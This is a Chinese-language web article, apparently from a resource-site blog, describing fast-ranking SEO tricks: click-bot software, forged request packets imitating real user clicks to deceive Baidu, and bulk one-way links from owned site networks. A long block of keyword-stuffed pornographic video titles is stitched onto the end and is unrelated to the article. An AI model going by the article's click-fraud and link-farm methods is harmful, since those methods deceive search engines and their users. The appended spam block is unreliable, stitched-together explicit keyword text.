          鹿資源網(wǎng)怎么快速提權(quán)-當(dāng)然是快排: 快排就是利用一些方法讓關(guān)鍵詞快速排名到搜索結(jié)果前面,目前普遍的網(wǎng)站快排方法有軟件快排;發(fā)包快排;外鏈快排。快排有利有弊,我們還是要堅(jiān)持走正確的路子。 1、通過軟件點(diǎn)擊器實(shí)現(xiàn)的快排 鹿鹿資源網(wǎng)提權(quán)是通過排名點(diǎn)擊器的軟件來操作網(wǎng)站排名的方法,是目前市面上常見的手法,成本也是低的。 利用點(diǎn)擊器,你可以設(shè)置自己網(wǎng)站搜索什么詞,然后被點(diǎn)擊多少次。假以時日網(wǎng)站在這個詞的排名就上去了,有效率在 30%,你操作 100 個詞,至少會有 30 個詞達(dá)到預(yù)期。但分享系數(shù)是較大的。 因?yàn)槭菣C(jī)器操作,點(diǎn)擊的規(guī)則設(shè)置也比較簡單,哪怕這個軟件給你提供了更加靈活的點(diǎn)擊規(guī)則,但對于技術(shù)那么強(qiáng)大的百度而言,識別出你的概率至少在 85%,甚至以上。如果當(dāng)下沒被識別出來,那么也只是一時的。 2、通過發(fā)包技術(shù)實(shí)現(xiàn)的快排 鹿鹿資源網(wǎng)這里先講一下什么是發(fā)包的原理。 你的網(wǎng)站存儲在服務(wù)器中,而網(wǎng)站是通過瀏覽器打開的。那你在瀏覽器上的操作,怎么才能顯示出網(wǎng)站的網(wǎng)頁來呢?這就又有了網(wǎng)站的程序。 你通過瀏覽器訪問一個網(wǎng)址,這個網(wǎng)址先對應(yīng)到的是一個服務(wù)器。然后服務(wù)器接收到這個網(wǎng)址后,服務(wù)器內(nèi)的程序會知道這個網(wǎng)址代表的是什么程序,然后執(zhí)行程序,并把執(zhí)行后的結(jié)果輸出給瀏覽器,并呈現(xiàn)給你。 這中間瀏覽器會發(fā)送請求數(shù)據(jù)給服務(wù)器,服務(wù)器接收到請求數(shù)據(jù)后利用程序開始處理,然后把處理完成的數(shù)據(jù)回傳給瀏覽器,瀏覽器進(jìn)行網(wǎng)頁的渲染呈現(xiàn)。 這中間的請求數(shù)據(jù)和回傳數(shù)據(jù),被稱之為包。快速排名公司利用瀏覽器的請求數(shù)據(jù),發(fā)送你一個請求數(shù)據(jù)包,然后瀏覽器再回傳一個處理完的結(jié)果包。 當(dāng)然請求包里就包含了模擬用戶真實(shí)點(diǎn)擊行為的所有行為記錄。以這樣的手段來欺騙搜索引擎,告訴搜索引擎我是一個真實(shí)的訪客,以此同樣利用點(diǎn)擊日志的用戶體驗(yàn)系列的算法進(jìn)行排名的干預(yù),從而快速提升排名。 3、利用大量外鏈進(jìn)行的快排技術(shù) 鏈接傳遞權(quán)重,這句話已經(jīng)被 SEO 的從業(yè)者說爛了。那假設(shè)我有 3000 個網(wǎng)站,分為教育類、旅游類、搬家服務(wù)類三種各 1000 各站點(diǎn)。你做了一個新企業(yè)站,是搬家公司的。你想快速提升排名,找到我了。我給你來 100 個搬家公司的單向鏈接。你的排名在一周內(nèi)就能上首頁,如果網(wǎng)站內(nèi)沒其他問題,1 個月內(nèi)至少前三名。 這就是鹿鹿資源網(wǎng)提權(quán)快排的全部教程了 往大家多多吸取正能量知識 耐心做站本文來自:鹿鹿資源網(wǎng),原地址:https://www.luluzyw.com/post/400.html


          主站蜘蛛池模板: 夜夜精品无码一区二区三区| 天堂资源中文最新版在线一区| 无码人妻精品一区二区三区久久久 | 色婷婷AV一区二区三区浪潮| 高清一区二区三区免费视频| 精品一区精品二区| 无码av免费一区二区三区试看| 波多野结衣在线观看一区| 无码人妻久久一区二区三区 | 一区二区三区国模大胆| 无码人妻精品一区二区三区不卡| 99精品国产高清一区二区| 一区二区三区高清在线| 波多野结衣一区在线| 视频一区二区中文字幕| 日本人真淫视频一区二区三区| 精品视频一区在线观看| 一区二区不卡视频在线观看| 午夜肉伦伦影院久久精品免费看国产一区二区三区 | 国产在线无码视频一区二区三区| 亚洲成av人片一区二区三区| 动漫精品专区一区二区三区不卡| 日亚毛片免费乱码不卡一区| 一区二区三区免费在线视频 | 国产乱人伦精品一区二区在线观看| 亚洲中文字幕无码一区| 无码人妻一区二区三区免费n鬼沢| 香蕉久久一区二区不卡无毒影院 | 国产91精品一区二区麻豆亚洲| 在线免费视频一区二区| 精品一区二区三区免费毛片 | 最新中文字幕一区二区乱码| 精品少妇人妻AV一区二区| 久热国产精品视频一区二区三区 | 自拍日韩亚洲一区在线| 韩国理伦片一区二区三区在线播放| 国产成人精品一区二三区熟女| 无码一区二区三区亚洲人妻| asmr国产一区在线| 熟女精品视频一区二区三区| 人妻少妇精品视频三区二区一区|